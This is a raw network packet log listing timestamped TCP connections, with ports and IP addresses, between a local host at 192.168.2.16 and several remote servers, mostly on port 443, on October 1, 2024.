Oct 1, 2024 15:08:10.009063959 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.053998947 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.054122925 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.054141045 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.054172993 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.054199934 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.054228067 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.054230928 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.054241896 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.054275990 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.055027962 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.055059910 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.055074930 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.055082083 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.055110931 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.055126905 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.055133104 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.055181026 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.055908918 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.055958033 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.055985928 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.056005955 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.056019068 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.056062937 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.056699038 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.057133913 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.057163000 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.057188034 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.057194948 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.057220936 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.057244062 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.057250977 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.057296038 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.058111906 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.058733940 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.058789968 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.058820009 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.058828115 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.058842897 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.058876991 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.058885098 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.059267044 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.059305906 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.059309959 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.059322119 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.059355974 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.059361935 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.059420109 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.059458017 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.064927101 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.064940929 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.103766918 CEST	49733	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.103801966 CEST	443	49733	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.103868008 CEST	49733	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.103977919 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.103987932 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.104410887 CEST	49733	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.104425907 CEST	443	49733	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.140923023 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.140959024 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.140989065 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141077042 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.141087055 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141134024 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.141139030 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141187906 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.141197920 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141319036 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141326904 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141381979 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.141387939 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141578913 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141609907 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141629934 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.141637087 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141666889 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.141720057 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141756058 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141767979 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.141772985 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141803026 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141810894 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.141854048 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.141859055 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.141916990 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.142554998 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.142623901 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.142726898 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.142781019 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.142791986 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.142847061 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.142853022 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.142888069 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.142914057 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.142945051 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.148675919 CEST	49734	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.148693085 CEST	443	49734	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.148780107 CEST	49734	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.149216890 CEST	49734	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.149228096 CEST	443	49734	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.149878025 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:10.149890900 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:10.180958986 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 1, 2024 15:08:10.384001017 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.384377956 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.384403944 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.385437012 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.385601997 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.385812998 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.385879040 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.385982037 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.385989904 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.434997082 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.475490093 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:10.475528955 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:10.475677013 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:10.477459908 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:10.477478027 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:10.511979103 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.512028933 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.512063980 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.512075901 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.512090921 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.512131929 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.512156963 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.512213945 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.512267113 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.512276888 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.512284994 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.512325048 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.512330055 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.512671947 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.512716055 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.512722015 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.561016083 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.561067104 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.591526031 CEST	443	49733	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.591897964 CEST	49733	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.591927052 CEST	443	49733	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.592978001 CEST	443	49733	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.593046904 CEST	49733	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.593400002 CEST	49733	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.593417883 CEST	49733	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.593468904 CEST	443	49733	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.593476057 CEST	49733	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.593553066 CEST	49733	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.593842983 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.593885899 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.593990088 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.594177961 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.594191074 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.600404024 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.600442886 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.600466013 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.600492001 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.600684881 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.600709915 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.600717068 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.600755930 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.600759029 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.600765944 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.600811958 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.601389885 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.601486921 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.601516962 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.601535082 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.601541042 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.601572990 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.601578951 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.601584911 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.601633072 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.602380991 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.602622986 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.602654934 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.602670908 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.602677107 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.602720022 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.602725029 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.603406906 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.603452921 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.603460073 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.609194040 CEST	443	49734	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.609504938 CEST	49734	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.609529972 CEST	443	49734	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.610557079 CEST	443	49734	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.610626936 CEST	49734	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.610959053 CEST	49734	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.610977888 CEST	49734	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.611017942 CEST	443	49734	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.611035109 CEST	49734	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.611090899 CEST	49734	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.611495018 CEST	49740	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.611525059 CEST	443	49740	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.611598015 CEST	49740	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.611829996 CEST	49740	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:10.611845016 CEST	443	49740	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.656961918 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.656985044 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.689060926 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.689107895 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.689125061 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.689142942 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.689183950 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.689218044 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.689265013 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.689887047 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.689907074 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.785000086 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 1, 2024 15:08:10.799057007 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:10.799371004 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:10.799388885 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:10.800566912 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:10.800641060 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:10.801906109 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:10.801970959 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:10.802099943 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:10.802105904 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:10.847961903 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:10.950350046 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.950406075 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:10.950484037 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.950706005 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:10.950721025 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:11.059786081 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:11.061640978 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.061995029 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.062017918 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.063050985 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.063127995 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.063581944 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.063641071 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.064079046 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.071562052 CEST	443	49740	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.071842909 CEST	49740	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.071862936 CEST	443	49740	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.072871923 CEST	443	49740	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.072957993 CEST	49740	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.073240995 CEST	49740	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.073297024 CEST	443	49740	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.073390007 CEST	49740	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.073395967 CEST	443	49740	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.073458910 CEST	49740	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.073472023 CEST	49740	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.073487997 CEST	443	49740	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.102027893 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:11.107417107 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.118000031 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.118038893 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:11.166064024 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:11.997989893 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 1, 2024 15:08:12.113300085 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.113312006 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.113357067 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.113373995 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.113379002 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.113401890 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.113409042 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.113410950 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.113468885 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.113468885 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.113487005 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.113497019 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.113539934 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.113591909 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.113629103 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.113662004 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.113694906 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.113704920 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.113725901 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.113743067 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.113760948 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.113801956 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.113815069 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.113823891 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.113867998 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.113873005 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.113965034 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.114342928 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.114358902 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.117908955 CEST	49739	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.117932081 CEST	443	49739	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.120723963 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.120995045 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.121011019 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.122044086 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.122154951 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.122431993 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.122493029 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.123023987 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.123038054 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.128622055 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.128659964 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.128746033 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.128936052 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:12.128954887 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:12.131459951 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.131546974 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.135013103 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.135027885 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.135590076 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.174103975 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.189971924 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.221116066 CEST	49736	443	192.168.2.16	13.85.23.86
Oct 1, 2024 15:08:12.241024017 CEST	443	49740	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.241091013 CEST	443	49740	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.241292953 CEST	49740	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.241873026 CEST	49740	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.241889000 CEST	443	49740	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.245497942 CEST	49744	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.245539904 CEST	443	49744	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.245620012 CEST	49744	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.245903015 CEST	49744	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:12.245913029 CEST	443	49744	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:12.263415098 CEST	443	49736	13.85.23.86	192.168.2.16
Oct 1, 2024 15:08:12.265122890 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.265353918 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.265475988 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.265492916 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.269906044 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.269996881 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.270011902 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.270023108 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.270247936 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.270253897 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.274821043 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.274915934 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.274940014 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.274947882 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.275032997 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.275038004 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.279793978 CEST	443	49742	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:12.279927015 CEST	49742	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:12.279937029 CEST	443	49742	104.18.95.41	192.168.2.16
